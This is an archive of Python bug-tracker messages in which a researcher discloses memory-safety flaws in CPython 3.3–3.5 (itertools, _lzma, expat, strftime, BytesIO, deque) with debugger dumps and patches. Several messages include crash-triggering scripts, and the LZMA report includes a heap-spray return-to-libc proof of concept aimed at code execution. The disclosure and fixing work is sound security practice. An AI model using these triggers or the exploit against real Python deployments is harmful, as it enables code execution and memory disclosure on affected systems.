[issue28322] chain.__setstate__ Type Confusion
Changes by John Leitch : Added file: http://bugs.python.org/file44900/Py35_itertools.py ___ Python tracker <http://bugs.python.org/issue28322> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue28322] chain.__setstate__ Type Confusion
New submission from John Leitch: Python 3.5.2 suffers from a type confusion vulnerability in the chain.__setstate__ method of the itertools module. The issue exists due to lack of argument validation in the chain_setstate() function: static PyObject * chain_setstate(chainobject *lz, PyObject *state) { PyObject *source, *active=NULL; if (! PyArg_ParseTuple(state, "O|O", &source, &active)) return NULL; Py_INCREF(source); Py_XSETREF(lz->source, source); Py_XINCREF(active); Py_XSETREF(lz->active, active); Py_RETURN_NONE; } After parsing the argument tuple, source and active are set without validating that they are iterator objects. This causes issues elsewhere, where the values are passed PyIter_Next: static PyObject * chain_next(chainobject *lz) { PyObject *item; if (lz->source == NULL) return NULL;/* already stopped */ if (lz->active == NULL) { PyObject *iterable = PyIter_Next(lz->source); if (iterable == NULL) { Py_CLEAR(lz->source); return NULL;/* no more input sources */ } lz->active = PyObject_GetIter(iterable); Py_DECREF(iterable); if (lz->active == NULL) { Py_CLEAR(lz->source); return NULL;/* input not iterable */ } } item = PyIter_Next(lz->active); if (item != NULL) return item; if (PyErr_Occurred()) { if (PyErr_ExceptionMatches(PyExc_StopIteration)) PyErr_Clear(); else return NULL;/* input raised an exception */ } Py_CLEAR(lz->active); return chain_next(lz); /* recurse and use next active */ } In some cases, this can lead to a DEP access violation. It might be possible to exploit this to achieve code execution. (4074.198c): Access violation - code c005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax= ebx=0132fa10 ecx=5b547028 edx=0002 esi=0132fa10 edi=5b37b3e0 eip= esp=009ef940 ebp=009ef94c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 ?? ??? 0:000> k6 ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 009ef93c 5b329ac0 0x0 009ef94c 5b2cb321 python35!PyIter_Next+0x10 [c:\build\cpython\objects\abstract.c @ 2778] 009ef960 5b37b42e python35!chain_next+0x21 [c:\build\cpython\modules\itertoolsmodule.c @ 1846] 009ef970 5b33fedd python35!wrap_next+0x4e [c:\build\cpython\objects\typeobject.c @ 5470] 009ef990 5b328b9d python35!wrapper_call+0x7d [c:\build\cpython\objects\descrobject.c @ 1195] 009ef9ac 5b3c463c python35!PyObject_Call+0x6d [c:\build\cpython\objects\abstract.c @ 2167] To fix this issue, it is recommended that chain_setstate() be updated to validate its arguments. A proposed patch has been attached. static PyObject * chain_setstate(chainobject *lz, PyObject *state) { PyObject *source, *active=NULL; if (! PyArg_ParseTuple(state, "O|O", &source, &active)) return NULL; if (!PyIter_Check(source) || (active != NULL && !PyIter_Check(active))) { PyErr_SetString(PyExc_ValueError, "Arguments must be iterators."); return NULL; } Py_INCREF(source); Py_XSETREF(lz->source, source); Py_XINCREF(active); Py_XSETREF(lz->active, active); Py_RETURN_NONE; } -- components: Library (Lib) files: itertools.patch keywords: patch messages: 277799 nosy: JohnLeitch priority: normal severity: normal status: open title: chain.__setstate__ Type Confusion type: security versions: Python 3.5 Added file: http://bugs.python.org/file44899/itertools.patch ___ Python tracker <http://bugs.python.org/issue28322> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue28275] LZMADecompressor.decompress Use After Free
John Leitch added the comment: Of course. Attached is a new patch that includes test coverage. It crashes on failure as there isn't any reasonable way to monitor for this kind of undefined behavior, but it's better than nothing. -- Added file: http://bugs.python.org/file44829/_lzmamodule_uaf_fix-2.patch ___ Python tracker <http://bugs.python.org/issue28275> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue28275] LZMADecompressor.decompress Use After Free
Changes by John Leitch : Added file: http://bugs.python.org/file44828/Py35_LZMADecompressor.py ___ Python tracker <http://bugs.python.org/issue28275> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue28275] LZMADecompressor.decompress Use After Free
New submission from John Leitch: Python 3.5.2 suffers from a use after free vulnerability caused by the behavior of the LZMADecompressor.decompress method. The problem exists due to a dangling pointer created by an incomplete error path in the _lzma!decompress function. static PyObject * decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length) { char input_buffer_in_use; PyObject *result; lzma_stream *lzs = &d->lzs; /* Prepend unconsumed input if necessary */ if (lzs->next_in != NULL) { [...] } else { lzs->next_in = data; lzs->avail_in = len; input_buffer_in_use = 0; } result = decompress_buf(d, max_length); if(result == NULL) return NULL; [...] } When the function is first called, lzs->next_in is NULL, so it is set using the data argument. If the subsequent call to decompress_buf fails because the stream is malformed, the function returns while maintaining the current value for lzs->next_in. A couple returns later, the allocation pointed to by lzs->next_in (data) is freed: static PyObject * _lzma_LZMADecompressor_decompress(Decompressor *self, PyObject *args, PyObject *kwargs) { PyObject *return_value = NULL; static char *_keywords[] = {"data", "max_length", NULL}; Py_buffer data = {NULL, NULL}; Py_ssize_t max_length = -1; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*|n:decompress", _keywords, &data, &max_length)) goto exit; return_value = _lzma_LZMADecompressor_decompress_impl(self, &data, max_length); exit: /* Cleanup for data */ if (data.obj) PyBuffer_Release(&data); return return_value; } At this point, any calls to decompress made to the same Decompressor instance (a typical use case--multiple calls may be necessary to decompress a single stream) will result in a memcpy to the dangling lzs->next_in pointer, and thus memory corruption. static PyObject * decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length) { char input_buffer_in_use; PyObject *result; lzma_stream *lzs = &d->lzs; /* Prepend unconsumed input if necessary */ if (lzs->next_in != NULL) { size_t avail_now, avail_total; [...] memcpy((void*)(lzs->next_in + lzs->avail_in), data, len); lzs->avail_in += len; input_buffer_in_use = 1; } else { [...] } } This vulnerability can be exploited to achieve arbitrary code execution. In applications where untrusted LZMA streams are received over a network, it might be possible to exploit this vulnerability remotely. A simple proof of concept that demonstrates a return-to-libc attack is attached. import _lzma from array import * # System address when tested: 76064070 d = _lzma.LZMADecompressor() spray = []; for x in range(0, 0x700): meg = bytearray(b'\x76\x70\x40\x06' * int(0x10 / 4)); spray.append(meg) def foo(): for x in range(0, 2): try: d.decompress(b"\x20\x26\x20\x63\x61\x6c\x63\x00\x41\x41\x41\x41\x41\x41\x41\x41" * int(0x100 / (4*4))) except: pass foo() print(len(spray[0])) print(len(spray)) To fix the issue, it is recommended that lzs->next_in be zeroed in the event the call to decompress_buf fails. A proposed patch is attached. result = decompress_buf(d, max_length); if(result == NULL) { lzs->next_in = 0; return NULL; } A repro file is attached as well. Exception details: 0:000> r eax=000a ebx=009ef540 ecx=0002 edx=41414141 esi=08b44970 edi=09275fe8 eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0 nv up ei pl nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203 VCRUNTIME140D!TrailingDownVec+0x1f9: 6bf55149 8917mov dword ptr [edi],edx ds:002b:09275fe8= 0:000> k ChildEBP RetAddr 009ef3e4 5d573f80 VCRUNTIME140D!TrailingDownVec+0x1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658] 009ef434 5d573383 _lzma_d!decompress+0x130 [c:\source2\python-3.5.2\modules\_lzmamodule.c @ 997] 009ef454 5d572049 _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93 [c:\source2\python-3.5.2\modules\_lzmamodule.c @ 1097] 009ef49c 55e6dd40 _lzma_d!_lzma_LZMADecompressor_decompress+0x79 [c:\source2\python-3.5.2\modules\clinic\_lzmamodule.c.h @ 99] 009ef4d4 55f65199 python35_d!PyCFunction_Call+0x80 [c:\source2\python-3.5.2\objects\methodobject.c @ 98] 009ef4fc 55f6008d python35_d!call_function+0x3e9 [c:\source2\python-3.5.2\python\ceval.c @ 4705] 009ef58c 55f6478d python35_d!PyEval_EvalFrameEx+0x509d [c:\source2\python-3.5.2\python\ceval.c @ 3238] 009ef5cc 55f5afbd python35_d!_PyEval_EvalCodeWithName+0x73d [c:\source2\python-3.5.2\python\ceval.c @ 4018] 009ef608 55f5af81 python35_d!PyEval_EvalCodeE
[issue25092] Regression: test_datetime fails on 3.5, Win 7, works on 3.4
Changes by John Leitch : -- nosy: +brycedarling ___ Python tracker <http://bugs.python.org/issue25092> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25021] product_setstate() Out-of-bounds Read
John Leitch added the comment: All appears well. -- ___ Python tracker <http://bugs.python.org/issue25021> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25021] product_setstate() Out-of-bounds Read
John Leitch added the comment: Glancing over the code, I see the issues you describe. Tonight I will verify your revised patch and report back. -- ___ Python tracker <http://bugs.python.org/issue25021> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25021] product_setstate() Out-of-bounds Read
Changes by John Leitch : Added file: http://bugs.python.org/file40401/product_setstate_Type_Confusion.py ___ Python tracker <http://bugs.python.org/issue25021> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25021] product_setstate() Out-of-bounds Read
New submission from John Leitch: Python 3.3, 3.4, and 3.5 suffer from a vulnerability caused by the behavior of the product_setstate() function. When called, the function loops over the state tuple provided and clamps each given index to a value within a range from 0 up to the max number of pools. Then, it loops over the pools and gets an item from the pool using the previously clamped index value. However, for the upper bound, the clamping logic is using the number of pools and not the size of the individual pool, which can result in a call to PyTuple_GET_ITEM that uses an index outside of the bounds of the pool: for (i=0; i n-1) index = n-1; lz->indices[i] = index; } result = PyTuple_New(n); if (!result) return NULL; for (i=0; ipools, i); PyObject *element = PyTuple_GET_ITEM(pool, lz->indices[i]); Py_INCREF(element); PyTuple_SET_ITEM(result, i, element); } The invalid result of the PyTyple_GET_ITEM() expression is then passed to Py_INCREF(), which performs a write operation that corrupts memory. In some applications, it may be possible to exploit this behavior to corrupt sensitive information, crash, or achieve code execution. The out-of-bounds write can be observed by running the following script: import itertools p = itertools.product((0,),(0,)) p.__setstate__((0, 1)) Which, depending on the arrangement of memory, may produce an exception such as this: 0:000> g (ea4.11a4): Access violation - code c005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=c962 ebx=059e8f80 ecx= edx= esi=004af564 edi=05392f78 eip=613211eb esp=004af4d0 ebp=004af4f8 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 python35_d!product_setstate+0x13b: 613211eb 8b5108 mov edx,dword ptr [ecx+8] ds:002b:0008= 0:000> k1 ChildEBP RetAddr 004af4f8 61553a22 python35_d!product_setstate+0x13b [c:\source\python-3.5.0b3\modules\itertoolsmodule.c @ 2266] In some cases, EIP corruption may occur: 0:000> r eax= ebx=03e0f790 ecx=6d2ad658 edx=0002 esi=03e0f790 edi=6d0dbb20 eip= esp=004cf6a0 ebp=004cf6ac iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ?? ??? 0:000> k4 ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 004cf69c 6d08a390 0x0 004cf6ac 6d02b688 python35!PyIter_Next+0x10 004cf6c0 6d0dbb6e python35!chain_next+0x58 004cf6d0 6d0a021d python35!wrap_next+0x4e To fix this issue, it is recommended that product_setstate() be updated to clamp indices within a range from 0 up to the size of the pool in the body of the result tuple building loop. A proposed patch is attached. Credit: John Leitch (johnlei...@outlook.com), Bryce Darling (darlingbr...@gmail.com) -- files: product_setstate_Type_Confusion.patch keywords: patch messages: 250152 nosy: JohnLeitch, brycedarling, rhettinger priority: normal severity: normal status: open title: product_setstate() Out-of-bounds Read type: security versions: Python 3.3, Python 3.4, Python 3.5 Added file: http://bugs.python.org/file40400/product_setstate_Type_Confusion.patch ___ Python tracker <http://bugs.python.org/issue25021> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25019] xmlparse_setattro() Type Confusion
Changes by John Leitch : -- nosy: +christian.heimes ___ Python tracker <http://bugs.python.org/issue25019> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25019] xmlparse_setattro() Type Confusion
Changes by John Leitch : -- nosy: +brycedarling ___ Python tracker <http://bugs.python.org/issue25019> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25019] xmlparse_setattro() Type Confusion
Changes by John Leitch : -- keywords: +patch Added file: http://bugs.python.org/file40395/xmlparse_setattro_Type_Confusion.patch ___ Python tracker <http://bugs.python.org/issue25019> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25019] xmlparse_setattro() Type Confusion
New submission from John Leitch: Python 3.4 and 3.5 suffer from a vulnerability caused by the behavior of the xmlparse_setattro() function. When called, the function uses the provided name argument in several conditional statements which assume that the name argument is a string. However, if a name argument is provided that is not a string, this logic will make several calls to PyUnicode_CompareWithASCIIString that expect a string, yet receive some other type of object, leading to a type confusion vulnerability: static int xmlparse_setattro(xmlparseobject *self, PyObject *name, PyObject *v) { /* Set attribute 'name' to value 'v'. v==NULL means delete */ if (v == NULL) { PyErr_SetString(PyExc_RuntimeError, "Cannot delete attribute"); return -1; } assert(PyUnicode_Check(name)); if (PyUnicode_CompareWithASCIIString(name, "buffer_text") == 0) { [...] } In some applications, it may be possible to exploit this behavior to achieve arbitrary code execution. The type confusion can be observed by running the following script: from xml.parsers.expat import * p = ParserCreate() p.__setattr__(range(0xF), 0) Which, depending on the arrangement of memory, may produce an exception such as this: 0:000> g (d84.ce0): Access violation - code c005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0086f904 ebx=0086f8fc ecx=0050005c edx=00b60138 esi=0050005e edi=00b60138 eip=61e9a967 esp=0086f8c8 ebp=0086f8e0 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 python35!find_maxchar_surrogates+0x37: 61e9a967 0fb701 movzx eax,word ptr [ecx] ds:002b:0050005c= 0:000> k3 ChildEBP RetAddr 0086f8e0 61e9aa35 python35!find_maxchar_surrogates+0x37 [c:\build\cpython\objects\unicodeobject.c @ 1417] 0086f908 61eabcf3 python35!_PyUnicode_Ready+0x35 [c:\build\cpython\objects\unicodeobject.c @ 1466] 0086f918 61c547c3 python35!PyUnicode_CompareWithASCIIString+0x13 [c:\build\cpython\objects\unicodeobject.c @ 10784] To fix this issue, it is recommended that xmlparse_setattro() be updated to validate that the name argument is a string and return out of the function early if it is not. A proposed patch is attached. Credit: John Leitch (johnlei...@outlook.com), Bryce Darling (darlingbr...@gmail.com) -- components: XML files: xmlparse_setattro_Type_Confusion.py messages: 250116 nosy: JohnLeitch priority: normal severity: normal status: open title: xmlparse_setattro() Type Confusion type: security versions: Python 3.4, Python 3.5 Added file: http://bugs.python.org/file40394/xmlparse_setattro_Type_Confusion.py ___ Python tracker <http://bugs.python.org/issue25019> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: First, let me begin by saying I believe this patch will fix the buffer over-read, which is a good step forward. However, after giving the matter more thought, and at the risk of wearing out my welcome, I am of the belief that relying on the CRT to handle malformed format strings is the wrong approach. As per the C spec, strftime's behavior when handling invalid format strings is undefined: "If a conversion specifier is not one of the above, the behavior is undefined" Quite often, "undefined" translates to "exploitable". And at the very least, by not performing thorough enough validation, Python is misusing strftime(), which may lead to crashes or undermine memory safety. Of course, this is all speculation--I haven't the time or resource to learn other platforms to see what's possible. But, even if I could, the task would be Sisyphean because there's simply no way to know what the future holds when dealing with implementation that could change at any point. I realize we must be pragmatic with matters such as this, and a dramatic change could be breaking for some Python apps. Even so, I feel it's worth vocalizing these concerns. As a principal, I think that "safe", well-formed Python should never be able to perform operations that lead to undefined behavior in the underlying runtime. Alright, rant done. If at any point in time locking down Python's strftime with more aggressive validation is considered viable, I am more than willing to take a shot at submitting a patch. -- ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Yes, this is a user-mode read, but I disagree with the assertion that it's not possible to use this to disclose memory. While it isn't as critical as something that outright dumps memory, there is logic that throws exceptions based on values encountered while reading outside the bounds of the buffer. This could be used as a channel to infer what is or isn't in adjacent memory. That it's user-mode doesn't matter--if an application exposes the format string as attack surface, suddenly process memory can be probed. So, it's not heartbleed, but it does have security implications. If you'd like, I can take a shot at building a PoC. Further, it's best to err on the side of caution with bugs like these; just because it doesn't seem like major issue now doesn't mean someone won't come along in the future and prove otherwise. -- ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: If it's so wildly inconsistent, it's my opinion that Python should perform its own validation to achieve better cross-platform support. The alternative is playing a never ending game of whack-a-mole, or just accepting that format strings may cause exceptions in some platforms but not others. -- ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Yikes--your comment prompted me to look at the check-in, and it seems my patch wasn't properly applied. The curly braces got tweaked, which is minor as you stated, but more importantly the AIX code should not decref format. That could introduce problems bigger than what this patch was attempting to fix. And, not to dwell, but where do you see a keyword immediately followed by a left parens? I want to make sure everything is properly polished in the future, and the only thing I see is the untouched "for". Regarding your initial concerns: 1) I think we should enforce no trailing % so as to not pass format strings that may cause undefined behavior. 2) How about expecting ValueError on Windows/AIX, and pass on all other platforms? -- ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Is there a way to see what style guidelines have been violated? The only thing I can think of is the curly braces in the Windows check, but I was following the conventions of the surrounding code. -- ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: I plucked the error message from the % operator: >>> '%' % 'foo' Traceback (most recent call last): File "", line 1, in ValueError: incomplete format >>> '%z' % 'foo' Traceback (most recent call last): File "", line 1, in ValueError: unsupported format character 'z' (0x7a) at index 1 That said, it should be more consistent. I went with the latter suggestion since it's more informative. An updated patch is attached. As for platform compatibility, I'd certainly feel better if someone could test the Sun/AIX changes. Unfortunately, I'm unable to do so. It's interesting that OSX accepts "%". As per the spec, "%%" is a "%" literal, and the behavior of invalid tokens such as "%" is undefined. -- Added file: http://bugs.python.org/file40368/time_strftime_Buffer_Over-read_v3.patch ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Attached is a revised patch. -- Added file: http://bugs.python.org/file40367/time_strftime_Buffer_Over-read_v2.patch ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: When I get a bit of slackspace (probably tomorrow afternoon/evening) I can test on the spectrum of versions to confirm the issue is in >= 3.2. I'll also look into improving our automation so all future reports can have the appropriate versions flagged. Regarding untrusted format strings, I believe you are mistaken. In native applications, untrusted format strings are problematic because an attacker can use injected tokens to read/write arbitrary memory, which can be leveraged to attain code execution. However, in the context of Python, a format string with too many tokens should be handled safely, resulting in a Python exception rather than exploitable memory corruption. This is the behavior observed in format string handling throughout Python (and indeed most managed/scripting languages). Yes, in most Python programs format strings will be constants, and using dynamically constructed format strings may be considered a bad practice. But, should a developer choose to pass a dynamically constructed string (for example, functionality that allows untrusted users to specify custom time formatting), it's not unreasonable for them to expect memory safety to be maintained. Of course, if there's a risk I'm overlooking I'd like to better understand it, and the relevant Python documentation should be updated. -- ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: It very well may apply to versions apart from 3.5. Our test environment is quite complex and unfriendly to working with multiple versions of Python. Plus, we're strapped for time, so we tend to file under the version we're currently targeting and defer to those better equipped and more familiar with the codebase. The repro file is fine and there's no need to rebuild anything; the heap verification I'm suggesting is applied to binaries, not source. You can find information here: https://msdn.microsoft.com/en-us/library/windows/hardware/ff549557(v=vs.85).aspx Install the debugging tools, run GFlags, select the python.exe/pythonw.exe image file, and apply the settings I mentioned in my previous post. -- ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: > I have tried the reproducer on Windows 10 with 2.6, 2.7, 3.3, 3.4, 3.5 and > 3.6. In every case I got this. What you are observing is due to the arrangement and contents of process memory. With a simple repro (such as the one provided), there's a good chance the null terminator of the format string will be followed by more null bytes, and thus the code will appear to work as intended. In more complex scripts where memory is ultimately reused, it's more likely that the null terminator will be followed by garbage, non-null bytes. To make the issue reproduce more reliably, use GFlags to enable heap tail checking, heap free checking, and page heap. https://msdn.microsoft.com/en-us/library/windows/hardware/ff549557(v=vs.85).aspx Then, when you repro the issue, you'll see the crash because the uninitialized memory will contain the fill pattern 0xd0 rather than 0x00, like this: 0:000> db edx-0x10 08ef2ff0 41 25 41 41 25 41 41 25-00 d0 d0 d0 d0 d0 d0 d0 A%AA%AA% 08ef3000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? To be clear, heap verification is not a requirement--the bug can indeed be reproduced without it. However, it will make life easier by introducing more determinism. -- ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Currently, no. Would you like us to report this and future vulnerabilities to CERT? -- ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
Changes by John Leitch : -- nosy: +belopolsky, lemburg ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24989] scan_eol() Buffer Over-read
John Leitch added the comment: We based our fix on the check in write_bytes: if (endpos > (size_t)PyBytes_GET_SIZE(self->buf)) { if (resize_buffer(self, endpos) < 0) return -1; } I see now that our casting was extraneous. As for the macro, it was suspected that similar issues may be present and we wanted to write reusable code, but this also seems unnecessary now that it's known the cast is unneeded. Early tomorrow I'll take some time to create a revised patch. -- ___ Python tracker <http://bugs.python.org/issue24989> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24989] scan_eol() Buffer Over-read
Changes by John Leitch : Added file: http://bugs.python.org/file40327/scan_eol_Buffer_Over-read.py ___ Python tracker <http://bugs.python.org/issue24989> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24989] scan_eol() Buffer Over-read
New submission from John Leitch: Python 3.5 suffers from a vulnerability caused by the behavior of the scan_eol() function. When called, the function gets a line from the buffer of a BytesIO object by searching for a newline character starting at the position in the buffer. However, if the position is set to a value that is larger than the buffer, this logic will result in a call to memchr that reads off the end of the buffer: /* Move to the end of the line, up to the end of the string, s. */ start = PyBytes_AS_STRING(self->buf) + self->pos; maxlen = self->string_size - self->pos; if (len < 0 || len > maxlen) len = maxlen; if (len) { n = memchr(start, '\n', len); In some applications, it may be possible to exploit this behavior to disclose the contents of adjacent memory. The buffer over-read can be observed by running the following script: import tempfile a = tempfile.SpooledTemporaryFile() a.seek(0b1) a.readlines() Which, depending on the arrangement of memory, may produce an exception such as this: 0:000> g (698.188): Access violation - code c005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=fff8a14c ebx=0a0a0a0a ecx= edx=05bb1000 esi=061211b0 edi=89090909 eip=61c6caf2 esp=010af8dc ebp=010af914 iopl=0 nv up ei ng nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010292 python35!memchr+0x62: 61c6caf2 8b0amov ecx,dword ptr [edx] ds:002b:05bb1000= 0:000> k1 ChildEBP RetAddr 010af8e0 61b640f1 python35!memchr+0x62 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memchr.asm @ 125] To fix this issue, it is recommended that scan_eol() be updated to check that the position is not greater than or equal to the size of the buffer. A proposed patch is attached. -- files: scan_eol_Buffer_Over-read.patch keywords: patch messages: 249584 nosy: JohnLeitch, brycedarling priority: normal severity: normal status: open title: scan_eol() Buffer Over-read type: security versions: Python 3.5 Added file: http://bugs.python.org/file40326/scan_eol_Buffer_Over-read.patch ___ Python tracker <http://bugs.python.org/issue24989> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24913] newblock() Uninitialized Variable
John Leitch added the comment: The "exception analysis" is output from the WinDbg !analyze command run on a crash where access to the uninitialized memory ultimately corrupted the instruction pointer, leading to a data execution prevention crash. That's why the disassembly is junk--the IP is not pointing to valid instructions. This crash was provided as an example because it demonstrates that the issue is likely exploitable, and can probably be used to achieve code execution. Here is an example of a crash where execution halts immediately upon attempted to dereference a corrupted pointer. Note that the pointer is 0xC0C0C0C0--a fill pattern indicative of uninitialized memory. 0:000> r eax=02a2 ebx=551160a8 ecx=c0c0c0c0 edx=07e538e0 esi=07e538e0 edi=c0c0c0c0 eip=54f25a55 esp=004cf6e4 ebp=004cf6f4 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 python35!do_richcompare+0x15: 54f25a55 8b4704 mov eax,dword ptr [edi+4] ds:002b:c0c0c0c4= 0:000> k ChildEBP RetAddr 004cf6f4 54f25be3 python35!do_richcompare+0x15 [c:\build\cpython\objects\object.c @ 659] 004cf700 54e453fc python35!PyObject_RichCompare+0x53 [c:\build\cpython\objects\object.c @ 718] (Inline) python35!PyObject_RichCompareBool+0x14 [c:\build\cpython\objects\object.c @ 739] 004cf738 54f232d3 python35!deque_index+0xac [c:\build\cpython\modules\_collectionsmodule.c @ 933] 004cf754 54f8442f python35!PyCFunction_Call+0x113 [c:\build\cpython\objects\methodobject.c @ 109] 004cf788 54f818ec python35!call_function+0x2ff [c:\build\cpython\python\ceval.c @ 4651] 004cf800 54f8339f python35!PyEval_EvalFrameEx+0x232c [c:\build\cpython\python\ceval.c @ 3184] 004cf84c 54fba0b2 python35!_PyEval_EvalCodeWithName+0x82f [c:\build\cpython\python\ceval.c @ 3962] (Inline) python35!PyEval_EvalCodeEx+0x21 [c:\build\cpython\python\ceval.c @ 3983] (Inline) python35!PyEval_EvalCode+0x21 [c:\build\cpython\python\ceval.c @ 777] 004cf888 54fb9f45 python35!run_mod+0x42 [c:\build\cpython\python\pythonrun.c @ 970] 004cf8b4 54fb8fba python35!PyRun_FileExFlags+0x85 [c:\build\cpython\python\pythonrun.c @ 923] 004cf8f8 54e8f1f7 python35!PyRun_SimpleFileExFlags+0x20a [c:\build\cpython\python\pythonrun.c @ 396] (Inline) python35!PyRun_AnyFileExFlags+0x4e [c:\build\cpython\python\pythonrun.c @ 80] 004cf924 54e8fb33 python35!run_file+0xe7 [c:\build\cpython\modules\main.c @ 318] 004cf9c8 1cd4143f python35!Py_Main+0x913 [c:\build\cpython\modules\main.c @ 768] (Inline) python!invoke_main+0x1d [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 89] 004cfa14 75463744 